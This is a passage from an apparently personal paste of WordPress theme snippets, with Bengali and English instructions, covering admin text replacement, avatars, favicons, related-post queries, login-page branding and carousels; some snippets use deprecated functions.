  2359. আপনার ওয়ার্ডপ্রেস সাইট এ কোন শব্দ কে অন্য শব্দ দিয়ে পরিবর্তন করুন
  2360. ==============================================
  2361. হ্যালো, বন্ধুরা কেমন আছ। আবারো হাজির হলাম আপনাদের সামনে। আজকে ছোট একটা কোড নিয়ে আলোচনা করবো। আমরা যখন আমাদের ওয়ার্ডপ্রেস সাইট এ বাংলা ইন্সটল করি তখন অনেক শব্দের বাংলা অর্থ এমন যে শুনতে কেমন লাগে। যেমন Dashboard এর মানে দেখায় খেরখাতা। তাই আপনি চাইলে কিছু ওয়ার্ড এর মানে আপনি কোড দিয়ে Replace করতে পারেন। এর জন্য নিছের কোড গুলো আপনার থিমের functions.php ফাইলে অ্যাড করে দিন।
  2362.  
  2363. add_filter('gettext', 'rename_admin_menu_items');
  2364. add_filter('ngettext', 'rename_admin_menu_items');
  2365. function rename_admin_menu_items($menu) {
  2366. $menu = str_ireplace('Dashboard', 'প্রথম পাতা', $menu);
  2367. $menu = str_ireplace('Media', 'ছবিসমুহ', $menu);
  2368. $menu = str_ireplace('Comments', 'মন্তব্যসমুহ', $menu);
  2369. return $menu;
  2370. }
  2371. এখানে আমি কিছু উদাহরন দিলাম।
  2372. $menu = str_ireplace('Media', 'ছবিসমুহ', $menu);
  2373.  
  2374. উপরের লাইন এ খেয়াল করুন। এখানে মনে করেন আপনি Media কে পরিবর্তন করবেন এখন উপরের Media এর পরিবরতে যে শব্দ ব্যবহার করতে চান সেটি ছবিসমুহ এর জায়গায় বসিয়ে দিন দেখবেন আপনার সাইট যত Media লেখা আছে সব পরিবর্তন হয়ে গেছে। এভাবে আপনার যত খুশি শব্দ অ্যাড করতে পারেন। আমি শুধু কয়েকটি শব্দ দিয়েছি দেখানোর জন্য।
  2375.  
  2376.  
  2377.  
  2378. ==============================================
  2379. যেকোনো পোস্ট এ অ্যাড করুন লেখকের আভাটার
  2380. ==============================================
  2381. <?php echo get_avatar( get_the_author_email(), '20' ); ?>
  2382.  
  2383.  
  2384. ==============================================
  2385. আপনার ওয়েবসাইট এ ডিফল্ট Avatar পরিবর্তন করুন কোড দিয়ে
  2386. ==============================================
  2387. ওয়ার্ডপ্রেস সাইট এ ওয়ার্ডপ্রেস এর দেয়া অনেক গুলো ডিফল্ট Avatar থাকে। আমরা যারা ওয়ার্ডপ্রেস দিয়ে সাইট বানাই তাদের অনেক সময় Branding এর কারনে এই ডিফল্ট Avatar পরিবর্তন করতে হয়। অনেকে এটা plugin দিয়ে করে তবে জে কাজ সামান্য কোড দিয়ে হয় সেটার জন্য কেন plugin ব্যবহার করতে যাবো। কাজতা খুবই সজা । সুধু নিছের কোড টুকু কপি করে আপনার ওয়ার্ডপ্রেস সাইট এর theme এর functions.php file এর আকদম নিছে paste করে দিন। আর আপনার সাইট এর theme এর ইমেজ directory তে যে ইমেজটা ব্যবহার করতে চান সেটা rename করে avatar.png format এ নিয়ে upload করে দিন ব্যাস কাজ শেষ। দেখবেন ডিফল্ট ইমেজ পরিবর্তন হয়ে গেছে।
  2388.  
  2389. add_filter( 'avatar_defaults', 'crunchifygravatar' );
  2390. function crunchifygravatar ($avatar_defaults) {
  2391. $myavatar = get_bloginfo('template_directory') . '/images/avatar.png';
  2392. $avatar_defaults[$myavatar] = "Anytech Man";
  2393. return $avatar_defaults;}
  2394.  
  2395.  
  2396.  
  2397. ==============================================
  2398. techtunes এর মতো টপ অথর শো করাতে চান? তাহলে নিয়ে নিন কোড
  2399. ==============================================
  2400. <?php
  2401. global $wpdb;
  2402. $top_authors = $wpdb->get_results("
  2403. SELECT u.ID, count(post_author) as posts FROM {$wpdb->posts} as p
  2404. LEFT JOIN {$wpdb->users} as u ON p.post_author = u.ID
  2405. WHERE p.post_status = 'publish'
  2406. AND p.post_type = 'post'
  2407. GROUP by p.post_author
  2408. ORDER by posts DESC
  2409. LIMIT 0,10
  2410. ");
  2411.  
  2412. if( !empty( $top_authors ) ) {
  2413. echo '<ul>';
  2414. foreach( $top_authors as $key => $author ) {
  2415. echo '
  2416. <li>
  2417. <div class="topauthor-info"><div class="topauthor-avatar">
  2418. ' . get_avatar( $author->ID , 40) . '</div>
  2419. <div class="topauthor-description"><a href="' . get_author_posts_url( $author->ID ) . '">' . get_the_author_meta( 'nickname' , $author->ID ) . '</a>
  2420. <br />» পোস্ট  '. $author->posts .'  টি
  2421. </div></div></li>
  2422. ';
  2423. }
  2424. echo '</ul>';
  2425. }
  2426. ?>
  2427.  
  2428. এবার নিছের CSS কোড গুলো আপনার থিম এর CSS ফাইল বা style.css এ যোগ করে দিন।
  2429.  
  2430. .topauthor-info {background: none repeat scroll 0 0 #FFFFFF;overflow: hidden;padding: 0px;}
  2431. .topauthor-avatar {background: none repeat scroll 0 0 #FAFAFA;float: left;margin-right: 10px;padding: 0px;}
  2432. .topauthor-description {float: left;max-width: 86%;font-size:14px;}
  2433.  
  2434. ==============================================
  2435. আপনি চাইলে আপনার ওয়েবসাইট এর সব ট্যাগ কোড দিয়েও শো করতে পারেন
  2436. ==============================================
  2437. <?php if ( function_exists('wp_tag_cloud') ) : ?>
  2438. <h4>Popular Tags</h4>
  2439. <ul>
  2440. <li><?php wp_tag_cloud('smallest=8&largest=22'); ?></li>
  2441. </ul>
  2442. <?php endif; ?>
  2443.  
  2444. ==============================================
  2445. আপনার ওয়েবসাইট এ Forced to logout এর টাইম সেট করে দিন কোড দিয়ে
  2446. ==============================================
  2447. আপনার ওয়ার্ডপ্রেস সাইট এ যারা লগিন করবে এমন কি এডমিন সহ সবাইকে যদি আপনি চান যে একটা নির্দিষ্ট সমই পর অটোমেটিক logout হয়ে যাবে তাহলে একটা ছোট কাজকরে এটি করতে পারেন। এটি অবশ্য প্লাগিন দিয়েও করতে পারেন তবে যদি চান কোড দিয়ে করবেন তাহলে নিছের কোড টুকু কপি করে আপনার থিম এর functions.php ফাইল এর শেষে যোগ করে দিন। এখানে return 7200 এই লাইন এ ৭২০০ এর জাইগাই আপনি যে টাইম দিতে চান তা seconds এ কনভার্ট করে বসিএ দিন। এখানে ৭২০০ seconds মানে দুই ঘণ্টা দেয়া আছে।
  2448.  
  2449. </p>
  2450. function logged_in( $expirein ) {
  2451. return 7200; // 2 hours in seconds
  2452. }
  2453. add_filter( 'auth_cookie_expiration', 'logged_in' );
  2454.  
  2455. ==============================================
  2456. আপনার ওয়ার্ডপ্রেস সাইট এর favicon পরিবর্তন করুন কোড দিয়ে
  2457. ==============================================
  2458. নিছের কোডটুকু কপি করে আপনার থিম এর functions.php ফাইল এর নিছে অ্যাড করে দিন। সুধু http://anytech.arzonebd.com/wp-content/anytech.gif এর জাইগায় আপনার ইমেজ এর লিঙ্ক দিন দেখবেন কাজ হয়ে গেছে। তবে ফাইল সাইজ 16*16 রাখবেন।
  2459.  
  2460. function my_favicon() { ?>
  2461. <link rel="shortcut icon" href="http://anytech.arzonebd.com/wp-content/anytech.gif" >
  2462. <?php }
  2463. add_action('wp_head', 'my_favicon');
  2464.  
  2465. ==============================================
  2466. লগিন পেজের হেডার এর url এবং Powered by টেক্সট পরিবর্তন করুন কোড দিয়ে
  2467. ==============================================
  2468. আমরা যখন কোন ওয়ার্ডপ্রেস সাইট এর লগিন পেজ এ যাই তখন ওখানে যে লোগো থাকে সেখানে মাউস রাখলে একটা লিঙ্ক মানে হল http://wordpress.org এবং Powered by WordPress শো করে। আপনি যদি চান যে এখানে আপনার সাইট এর লিঙ্ক এবং নাম এর যায়গায় সাইট এর নাম দেখাবেন তাহলে এদিকে আসুন। নিছের কোড গুলো আপনার সাইট এর থিম এর functions.php তে পেস্ট করুন।
  2469.  
  2470. function anytech_login_header_url(){
  2471. return "http://www.kingrussel.com";
  2472. } add_action('login_headerurl', 'anytech_login_header_url');
  2473. function anytech_login_header_link_title(){
  2474. return "Powered By King Russel";
  2475. } add_action('login_headertitle', 'anytech_login_header_link_title');
  2476.  
  2477.  
  2478.  
  2479. ==============================================
  2480. Dashboard এর favicon change করে নিন একেবারে সহজে
  2481. ==============================================
  2482. নিছের কোড টুকু আপনারথিম এর functions.php ফাইল এর নিছে অ্যাড করে দিন। সুধু  http://www.anytech.arzonebd.com/favicon.png   এর জাইগায় আপনার ইমেজ এর লিঙ্ক দিন দেখবেন কাজ হয়ে গেছে। তবে ফাইল সাইজ 16*16 রাখবেন।
  2483.  
  2484. function fidafavicon() {
  2485. echo '<link rel="Shortcut Icon" type="image/x-icon" href="http://www.anytech.arzonebd.com/favicon.png" />';
  2486. }
  2487. add_action( 'admin_head', 'fidafavicon' );
  2488.  
  2489. ==============================================
  2490. wp-logo remove করুন কোড দিয়ে।
  2491. ==============================================
  2492. নিছের কোড টুকু কপি করে আপনার থিম এর functions.php তে অ্যাড করে দেন ব্যাস কাজ ওকে।
  2493.  
  2494. add_action('wp_before_admin_bar_render', 'annointed_admin_bar_remove', 0);
  2495. function annointed_admin_bar_remove() {
  2496. global $wp_admin_bar;
  2497.  
  2498. /* Remove their stuff */
  2499. $wp_admin_bar->remove_menu('wp-logo');
  2500. }
  2501.  
  2502.  
  2503. ==============================================
  2504. QUERY CODE FOR RELATED POST WITH AND WITHOUT THUMBNAIL
  2505. ==============================================
  2506. <?php $orig_post = $post;
  2507.     global $post;
  2508.     $categories = get_the_category($post->ID);
  2509.     if ($categories) {
  2510.     $category_ids = array();
  2511.     foreach($categories as $individual_category) $category_ids[] = $individual_category->term_id;
  2512.  
  2513.     $args=array(
  2514.     'category__in' => $category_ids,
  2515.     'post__not_in' => array($post->ID),
  2516.     'posts_per_page'=> 6, // Number of related posts that will be shown.
  2517.     'caller_get_posts'=>1
  2518.     );
  2519.  
  2520.     $my_query = new wp_query( $args );
  2521.     if( $my_query->have_posts() ) {
  2522.     echo '<div class="single_coment_all">';
  2523.     while( $my_query->have_posts() ) {
  2524.     $my_query->the_post();?>
  2525.     <div class="single_coment floatleft fix">
  2526.         <div class="relatedthumb_img">
  2527.             <a href="<?php the_permalink()?>" rel="bookmark" title="<?php the_title(); ?>">
  2528.                 <?php the_post_thumbnail('related_image'); ?>
  2529.             </a>
  2530.         </div>
  2531.         <div class="comments_caption">
  2532.             <div class="comments_caption_left">
  2533.                 <p><?php the_category(', '); ?></p>
  2534.             </div>
  2535.             <div class="comments_caption_right">
  2536.                 <a href="<?php the_permalink(); ?>"><h2><?php the_title(); ?></h2></a>
  2537.             </div>
  2538.         </div>
  2539.     </div>
  2540.     <?php
  2541.     }
  2542.     echo '</div>';
  2543.     }
  2544.     }
  2545.     $post = $orig_post;
  2546.     wp_reset_query(); ?>
  2547.  
  2548. ----------------------  or -------------------------------
  2549. <?php
  2550. //for use in the loop, list 5 post titles related to first tag on current post
  2551. $tags = wp_get_post_tags($post->ID);
  2552. if ($tags) {
  2553. echo 'Related Posts';
  2554. $first_tag = $tags[0]->term_id;
  2555. $args=array(
  2556. 'tag__in' => array($first_tag),
  2557. 'post__not_in' => array($post->ID),
  2558. 'posts_per_page'=>5,
  2559. 'caller_get_posts'=>1
  2560. );
  2561. $my_query = new WP_Query($args);
  2562. if( $my_query->have_posts() ) {
  2563. while ($my_query->have_posts()) : $my_query->the_post(); ?>
  2564. <a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a>
  2565.  
  2566. <?php
  2567. endwhile;
  2568. }
  2569. wp_reset_query();
  2570. }
  2571. ?>
  2572.  
  2573. ==============================================
  2574. QUERY CODE FOR RELATED POST for custom post type by a custom taxonomy
  2575. ==============================================
  2576. //Get array of terms
  2577. $terms = get_the_terms( $post->ID , 'product_tags', 'string');
  2578. //Pluck out the IDs to get an array of IDS
  2579. $term_ids = wp_list_pluck($terms,'term_id');
  2580.  
  2581. //Query posts with tax_query. Choose in 'IN' if want to query posts with any of the terms
  2582. //Chose 'AND' if you want to query for posts with all terms
  2583.   $second_query = new WP_Query( array(
  2584.       'post_type' => 'products',
  2585.       'tax_query' => array(
  2586.                     array(
  2587.                         'taxonomy' => 'product_tags',
  2588.                         'field' => 'id',
  2589.                         'terms' => $term_ids,
  2590.                         'operator'=> 'IN' //Or 'AND' or 'NOT IN'
  2591.                      )),
  2592.       'posts_per_page' => 3,
  2593.       'ignore_sticky_posts' => 1,
  2594.       'orderby' => 'rand',
  2595.       'post__not_in'=>array($post->ID)
  2596.    ) );
  2597.  
  2598. //Loop through posts and display...
  2599.     if($second_query->have_posts()) {
  2600.      while ($second_query->have_posts() ) : $second_query->the_post(); ?>
  2601.       <div class="single_related">
  2602.            <?php if (has_post_thumbnail()) { ?>
  2603.             <a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"> <?php the_post_thumbnail( 'related_sm', array('alt' => get_the_title()) ); ?> </a>
  2604.             <?php } else { ?>
  2605.                  <a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a>
  2606.             <?php } ?>
  2607.        </div>
  2608.    <?php endwhile; wp_reset_query();
  2609.    }
  2610.  
  2611. =============================================
  2612. কোন একটা নির্দিষ্ট ক্যাটেগরির পপুলার পোস্ট শো করুন লিস্ট আকারে
  2613. =============================================  
  2614. <?php
  2615.  
  2616. $args=array(
  2617. 'cat' => 58, // this is category ID
  2618. 'orderby' => 'comment_count',
  2619. 'order' => 'DESC',
  2620. 'post_type' => 'post',
  2621. 'post_status' => 'publish',
  2622. 'posts_per_page' => 6, // how much post you want to display
  2623. 'caller_get_posts'=> 1
  2624. );
  2625.  
  2626. $my_query = null;
  2627. $my_query = new WP_Query($args);
  2628. if( $my_query->have_posts() ) { ?>
  2629.  
  2630. <ul>
  2631. <?php while ($my_query->have_posts()) : $my_query->the_post(); ?>
  2632.  
  2633. <li><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></li>
  2634.  
  2635. <?php  endwhile; ?>
  2636. </ul>
  2637. <?php }
  2638.  
  2639. wp_reset_query(); ?>
  2640.  
  2641. ==============================================
  2642. copy , paste , cut বাটান এড করুন Visual Editor এ
  2643. ==============================================
  2644. function enable_more_buttons($buttons) {
  2645.  $buttons[] = 'copy';
  2646.  $buttons[] = 'cut';
  2647.  $buttons[] = 'paste';
  2648.  return $buttons;
  2649.  }
  2650.  add_filter("mce_buttons_2", "enable_more_buttons");   
  2651.  
  2652. ==============================================
  2653.  পোস্টের মেটা ডিসক্রিপশন অটোমেটিক যোগ করাঃ
  2654. ==============================================
  2655. function create_meta_desc() {
  2656. global $post;
  2657. if (!is_single()) { return; }
  2658. $meta = strip_tags($post->post_content);
  2659. $meta = strip_shortcodes($post->post_content);
  2660. $meta = str_replace(array("\n", "\r", "\t"), '', $meta);
  2661. $meta = substr($meta, 0, 125);
  2662. echo "<meta name='description' content='$meta' />";
  2663. }
  2664. add_action('wp_head', 'create_meta_desc');
  2665.  
  2666. ==============================================
  2667. লেফ্ট সাইড এর wordpress text টা পরিবর্র্তন করার জন্য নিচের Function টা এড করে দিন । text এ আপনার ইচ্ছা মত  পরিবর্র্তন করে নিন ।
  2668. ==============================================
  2669. function remove_footer_admin () {
  2670. echo 'Thank You For Creating By <a href="http://kingrussel.com">King Russel</a>';
  2671. }
  2672. add_filter('admin_footer_text', 'remove_footer_admin');
  2673.  
  2674.  
  2675. ==============================================
  2676. page k login and logout option onojayi set korben
  2677. ==============================================
  2678. <?php if (is_user_logged_in() ): ?>
  2679.     <a href="<?php echo wp_logout_url() ?>" title="Logout">Logout</a>
  2680. <?php else: ?>
  2681.         <a href="http://example.com/wp-login.php" title="Logout">Login</a>
  2682. <?php endif ?>
  2683.  
  2684. ==============================================
  2685. আপনার সাইট এর সব লেখককে একসাথে দেখানড্র পডাউন মেনু হিসেবে
  2686. ==============================================
  2687. <li id="users">
  2688.  <h2><?php _e('users:'); ?></h2>
  2689.    <form action="<?php bloginfo('url'); ?>" method="get">
  2690.    <?php
  2691.      $args = array(
  2692.      'exclude'                 => '1',
  2693.      'name'                    => 'authors',
  2694.      'who'                     => 'authors'
  2695.     );
  2696.     wp_dropdown_users($args);
  2697.    ?>
  2698.    <input type="submit" name="submit" value="view" />
  2699.    </form>
  2700. </li>
  2701.    
  2702. ==============================================
  2703. query code for Fraction Slider
  2704. ==============================================
  2705. <?php while ( have_posts() ) : the_post(); ?>
  2706.  
  2707. <?php
  2708.  
  2709. global $post;
  2710. $images = get_post_meta( $post->ID, '_wpb_sub_image', true );
  2711.  
  2712. foreach ($images as $img){
  2713. echo "<div class='col-md-2 single_img'><a class='grouped_elements' rel='group1' href='$img'><img class='img-responsive' src='$img' alt='' /></a></div> ";
  2714. }
  2715.  
  2716. ?>
  2717.  
  2718. <?php endwhile; // end of the loop. ?>
  2719.  
  2720. ========================================
  2721. show related posts form current taxonomy
  2722. ==========================================
  2723.  
  2724. function pippin_related_posts($taxonomy = '') {
  2725.    
  2726.     global $post;
  2727.    
  2728.     if($taxonomy == '') { $taxonomy = 'post_tag'; }
  2729.    
  2730.     $tags = wp_get_post_terms($post->ID, $taxonomy);
  2731.     $content = '';
  2732.     if ($tags) {
  2733.         $first_tag  = $tags[0]->term_id;
  2734.         $second_tag = $tags[1]->term_id;
  2735.         $third_tag  = $tags[2]->term_id;
  2736.         $args = array(
  2737.             'post_type' => get_post_type($post->ID),
  2738.             'posts_per_page' => 4,
  2739.             'tax_query' => array(
  2740.                 'relation' => 'OR',
  2741.                 array(
  2742.                     'taxonomy' => $taxonomy,
  2743.                     'terms' => $second_tag,
  2744.                     'field' => 'id',
  2745.                     'operator' => 'IN',
  2746.                 ),
  2747.                 array(
  2748.                     'taxonomy' => $taxonomy,
  2749.                     'terms' => $first_tag,
  2750.                     'field' => 'id',
  2751.                     'operator' => 'IN',
  2752.                 ),
  2753.                 array(
  2754.                     'taxonomy' => $taxonomy,
  2755.                     'terms' => $third_tag,
  2756.                     'field' => 'id',
  2757.                     'operator' => 'IN',
  2758.                 )
  2759.             )
  2760.         );
  2761.         $related = get_posts($args);
  2762.         $i = 0;
  2763.         if( $related ) {
  2764.             global $post;
  2765.             $temp_post = $post;
  2766.                 foreach($related as $post) : setup_postdata($post);
  2767.                     $content .= '<ul class="related-posts-box">';
  2768.                         $content .= '<li><a href="' . get_permalink() . '" title="' . get_the_title() . '">' . get_the_title() . '</a></li>';
  2769.                     $content .= '</ul>';
  2770.                    
  2771.                 endforeach;
  2772.             $post = $temp_post;
  2773.         }
  2774.     }
  2775.  
  2776.     return $content;
  2777. }        
  2778.  
  2779.  
  2780. add_action('the_content', 'do_jt_related_posts');
  2781. function do_jt_related_posts() {
  2782.  
  2783.     if( is_singular('post') ) :
  2784.         echo get_the_content();
  2785.         echo pippin_related_posts();       
  2786.     else :
  2787.         echo get_the_content();
  2788. endif;  }
  2789.  
  2790. ==============================================
  2791. query code for display post from each category
  2792. ==============================================
  2793. <?php
  2794.   // array of category IDs
  2795.   $categories =  array(10,9,8,7,6,5,4,3,2,1);
  2796.  
  2797.   foreach ($categories as $cat) :
  2798.     $post = false;
  2799.     $post = get_posts('cat='.$cat.'&posts_per_page=1');
  2800.     if($post) :
  2801.       $post = $post[0];
  2802.       setup_postdata($post); ?>
  2803.     // Your content for loop
  2804.  
  2805.     <?php endif; ?>
  2806.   <?php endforeach; ?>
  2807.  
  2808.  
  2809. ======================================
  2810. Get terms form specific taxonomy
  2811. ========================================
  2812. Suppose, you want to get a list of your all category as name or you want to get a list of your custom taxonomy. Here is how you can foreach that.
  2813.  
  2814. // Storing taxonomy's ID in a variable.
  2815. $terms = get_terms( 'product_cat' );
  2816.  
  2817. // Retrieve list as name
  2818. echo '<ul>';
  2819. foreach ( $terms as $term )  {
  2820.     echo '<li>' . $term->name . '</li>';
  2821. }
  2822. echo '</ul>';
  2823.  
  2824.  
  2825. ====================================================
  2826. how to hide specific category from home page
  2827. ====================================================
  2828. function exclude_category($query) {
  2829. if ( $query->is_home ) {
  2830. $query->set('cat','-96','-1');
  2831. }
  2832. return $query;
  2833.     }
  2834. add_filter('pre_get_posts', 'exclude_category');
  2835.  
  2836.  
  2837. ====================================================
  2838. Here’s how to create a custom post template for a specific category:
  2839. ====================================================
  2840.  
  2841.  
  2842. function get_custom_cat_template($single_template) {
  2843.      global $post;
  2844.  
  2845.        if ( in_category( 'category-name' )) {
  2846.           $single_template = dirname( __FILE__ ) . '/single-template.php';
  2847.      }
  2848.      return $single_template;
  2849. }
  2850.  
  2851. add_filter( "single_template", "get_custom_cat_template" ) ;
  2852.  
  2853.  
  2854.  
  2855. What you have to do is just copy and paste this code in your functions.php file and don’t forget to change ‘category-name’ to the name of the category you are aiming and, of course, change ‘/single-template.php’ to your post template file for this category.
  2856.  
  2857. And here’s another snippet, if you need to create a custom post template for a specific custom post type:
  2858.  
  2859.  
  2860.  
  2861. function get_custom_post_type_template($single_template) {
  2862.      global $post;
  2863.  
  2864.        if ($post->post_type == 'custom-post-type') {
  2865.           $single_template = dirname( __FILE__ ) . '/single-template.php';
  2866.      }
  2867.      return $single_template;
  2868. }
  2869.  
  2870. add_filter( "single_template", "get_custom_post_type_template" ) ;
  2871.  
  2872.  
  2873. What you have to do is again copy and paste it in your functions.php file and change ‘custom-post-type’ and ‘/single-template.php’ to whatever works fine for you.
  2874.  
  2875. ====================================================
  2876. creates category-slug based template for single post
  2877. ====================================================
  2878. //creates category-slug based template for single post
  2879. add_filter('single_template', create_function(
  2880.     '$the_template',
  2881.     'foreach( (array) get_the_category() as $cat ) {
  2882.         if ( file_exists(TEMPLATEPATH . "/single-{$cat->slug}.php") )
  2883.         return TEMPLATEPATH . "/single-{$cat->slug}.php"; }
  2884.     return $the_template;' )
  2885. );
  2886.  
  2887. ==============================================
  2888. How to disable theme and plugin editor from WordPress dashboard?
  2889. ==============================================
  2890. //Remove theme and plugin editor links
  2891. function ccw_hide_editor()
  2892. {
  2893.     remove_submenu_page('themes.php','theme-editor.php');
  2894.     remove_submenu_page('plugins.php','plugin-editor.php');
  2895. }
  2896. add_action('admin_init','ccw_hide_editor');
  2897.  
  2898. The Problem with above code is that, it does not disable the editor but remove the link from dashboard. The editor can still be used by accessing link from URL in browser.
  2899. To completely disable the editor from WordPress dashboard copy the following code and paste it inside wp-config.php file located in root folder of WordPress installation.
  2900.  
  2901.  
  2902. //Disable theme and plugin editor
  2903. define( 'DISALLOW_FILE_EDIT', true );
  2904.  
  2905.  
  2906. ==============================================
  2907.     //code for logo in middle of menu  
  2908. ==============================================
  2909.  
  2910. paste this code in main.js
  2911. -----------------------------------
  2912. jQuery( document ).ready(function() {
  2913. var menu = parseInt(jQuery('.main-menu li').length/2);
  2914. var structure = [
  2915. '<li>',
  2916. '<a href="index.php"><span class="center-logo"></span></a>',
  2917. '</li>' ];
  2918. jQuery(structure.join('')).insertAfter( jQuery('.main-menu li').eq(menu - 1) );
  2919. });
  2920.  
  2921. paste this code in  header.php  
  2922. -----------------------------------
  2923. <ul class="main-menu">
  2924. <li><a href="#">Home</a></li>
  2925. <li><a href="#">About</a></li>
  2926. <li><a href="#">Service</a></li>
  2927. <li><a href="#">Contuct</a></li>
  2928. </ul>
  2929.  
  2930. ===============================================
  2931. Code for increase media upload limitation paste in htaccess file
  2932. ===============================================
  2933.  
  2934. php_value upload_max_filesize 20M
  2935. php_value post_max_size 20M
  2936. php_value max_execution_time 200
  2937. php_value max_input_time 200
  2938.  
  2939. ============================================
  2940. code for login form create in template
  2941. ===============================================
  2942. <?php
  2943. if ( ! is_user_logged_in() ) { // Display WordPress login form:
  2944.     $args = array(
  2945.         'redirect' => admin_url(),
  2946.         'form_id' => 'loginform-custom',
  2947.         'label_username' => __( 'Username custom text' ),
  2948.         'label_password' => __( 'Password custom text' ),
  2949.         'label_remember' => __( 'Remember Me custom text' ),
  2950.         'label_log_in' => __( 'Log In custom text' ),
  2951.         'remember' => true
  2952.     );
  2953.     wp_login_form( $args );
  2954. } else { // If logged in:
  2955.     wp_loginout( home_url() ); // Display "Log Out" link.
  2956.     echo " | ";
  2957.     wp_register('', ''); // Display "Site Admin" link.
  2958. }
  2959. ?>
  2960.  
  2961.  
  2962. ==========================================
  2963.     code for contact form 7 redirect link
  2964. ==========================================
  2965. on_sent_ok: "location.replace('http://www.kingrussel.com');"
  2966.             or
  2967. on_sent_ok: "location = 'http://example.com/';"
  2968.  
  2969. contact form 7 auto br remove code should be place in wp config file.
  2970. ------------------------------------------
  2971. define('WPCF7_AUTOP', false);
  2972.  
  2973. ==========================================
  2974.     code for news ticker by marquee
  2975. ==========================================
  2976. <marquee behavior="scroll" align="center" direction="left" scrollamount="5" scrolldelay="10" onmouseover="this.stop()" onmouseout="this.start()" height="30" width="100%">
  2977. <?php
  2978.         $args = array( 'numberposts' => '10','category_name'=>'এই মাত্র পাওয়া', );
  2979.         $recent_posts = wp_get_recent_posts( $args );
  2980.         foreach( $recent_posts as $recent ){
  2981.                 echo '<a href="' . get_permalink($recent["ID"]) . '" title="Look '.esc_attr($recent["post_title"]).'" >' .   $recent["post_title"].'</a> || ';
  2982.         }
  2983. ?>
  2984.  
  2985. </marquee>
  2986. ==========================================
  2987. //How can I dynamically increase a number in PHP
  2988. ==========================================
  2989.  
  2990.  
  2991. foreach($images as $elem => $image){
  2992.   echo "<li data-id=\"id-".($elem + 1)."\" data-type=\"".$image['class']."\">\n<img src=\"".base_url().$image['thumbnail']."\" width=\"128\" height=\"128\" />\n<strong>".$image['name']."</strong>\n<span data-type=\"size\">".$image['shortdesc']."</span></li>\n";
  2993. }  
  2994.  
  2995.         //or
  2996.  
  2997.  
  2998. $count = 1;
  2999. foreach($images as $image){
  3000.     echo "<li data-id=\"id-".$count."\" data-type=\"".$image['class']."\">\n<img src=\"".base_url().$image['thumbnail']."\" width=\"128\" height=\"128\" />\n<strong>".$image['name']."</strong>\n<span data-type=\"size\">".$image['shortdesc']."</span></li>\n";
  3001.     $count++;
  3002. }
  3003.  
  3004.  
  3005. ==================================================
  3006.         bootstrap carousel query code
  3007. ==================================================
  3008.   <!-- Carousel-->
  3009. <?php
  3010. $items = new WP_Query(array(
  3011. 'post_type' => 'banner-items',
  3012. 'posts_per_page' => -1,
  3013. 'meta_key' => '_thumbnail_id'
  3014. ));
  3015. $count = $items->found_posts;
  3016. ?> 
  3017.    
  3018.   <div id="myCarousel" class="carousel slide" data-ride="carousel">
  3019.       <!-- Indicators -->
  3020.     <ol class="carousel-indicators">
  3021.       <li data-target="#myCarousel" data-slide-to="0" class="active"></li>
  3022.       <?php for($num = 1; $num < $count; $num++){ ?>
  3023.       <li data-target="#myCarousel" data-slide-to="<?php echo $num; ?>"></li>
  3024.       <?php } ?>
  3025.     </ol>
  3026.  
  3027.     <div class="carousel-inner">
  3028. <?php
  3029.         $ctr = 0;
  3030.         while ( $items->have_posts() ) :
  3031.           $items->the_post();
  3032.           $url = wp_get_attachment_url( get_post_thumbnail_id($post->ID) );
  3033.           $custom = get_post_custom($post->ID);
  3034.           $link = $custom["more-link"][0];
  3035.           $class = $ctr == 0 ? ' active' : '';
  3036.         ?>
  3037.    
  3038.         <div class="item<?php echo $class; ?>" id="<? the_ID(); ?>">
  3039.             <img src="<?php $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), '' ); echo $image[0]; ?>"></img>
  3040.             <div class="container">
  3041.               <?php the_content(); ?>
  3042.             </div>
  3043.         </div>
  3044.     <?php $ctr++;
  3045.         endwhile;  ?>
  3046.      
  3047.      
  3048.     </div>
  3049.     <!-- /.carousel-inner -->
  3050.    
  3051.     <!-- Controls -->
  3052.     <a class="left carousel-control" href="#myCarousel" role="button" data-slide="prev"> <span class="fa fa-angle-left fa-5x"></span> </a>
  3053.     <a class="right carousel-control" href="#myCarousel" role="button" data-slide="next"> <span class="fa fa-angle-right fa-5x"></span> </a>
  3054.    
  3055.     </div>
  3056.   <!-- /.carousel -->
  3057.  
  3058. ============================================
  3059.  Carousel Loop for slide 4 or many post together
  3060. ============================================
  3061. function event_get_carousel(){
  3062.  $owlcarousel= '<div class="single_events">';
  3063.  $efs_query= "post_type=tribe_events&posts_per_page=-1";
  3064.  query_posts($efs_query);
  3065.  if (have_posts()) : while (have_posts()) : the_post();
  3066.   $thumb= get_the_post_thumbnail();
  3067.   $owlcarousel.=' <div class="single_ticket">  
  3068.       '.$thumb.'
  3069.       <h2>'.get_the_title().'</h2>
  3070.       <p>' . tribe_get_full_address( get_the_ID() ) . '</p>
  3071.       <h3>'.tribe_events_event_schedule_details().'</h3>
  3072.       <a href="'.get_the_permalink().'">Buy Ticket</a>
  3073.       </div>
  3074.      ';  
  3075.  endwhile; endif; wp_reset_query();
  3076.  $owlcarousel.= '</div>';
  3077.  return $owlcarousel;
  3078. }
  3079.  
  3080. /**add the shortcode for the slider- for use in editor**/
  3081. function event_insert_carousel($atts, $content=null){
  3082.  $owlcarousel= event_get_carousel();
  3083.  return $owlcarousel;
  3084. }
  3085. add_shortcode('events', 'event_insert_carousel');
  3086.  
  3087. ==================================================
  3088.         bootstrap carousel query code for ACF repeater
  3089. ==================================================
  3090. <div id="carousel1" class="carousel slide" data-ride="carousel">
  3091.       <!-- Indicators -->
  3092.  
  3093. <ol class="carousel-indicators">
  3094.  <?php
  3095. $i=0;
  3096. while( have_rows('home_slider', 'option') ): the_row();
  3097. if ($i == 0) {
  3098. echo '<li data-target="#carousel1" data-slide-to="0" class="active"></li>';
  3099. } else {
  3100. echo '<li data-target="#carousel1" data-slide-to="'.$i.'"></li>';
  3101. }
  3102. $i++;
  3103. endwhile; ?>
  3104. </ol>
  3105.  
  3106.        
  3107.         <!-- Wrapper for slides -->
  3108.         <div class="carousel-inner">
  3109.             <!--SLIDE 1-->
  3110. <?php
  3111.  $z = 0;
  3112.  while( have_rows('home_slider', 'option') ): the_row();?>
  3113.  
  3114.  
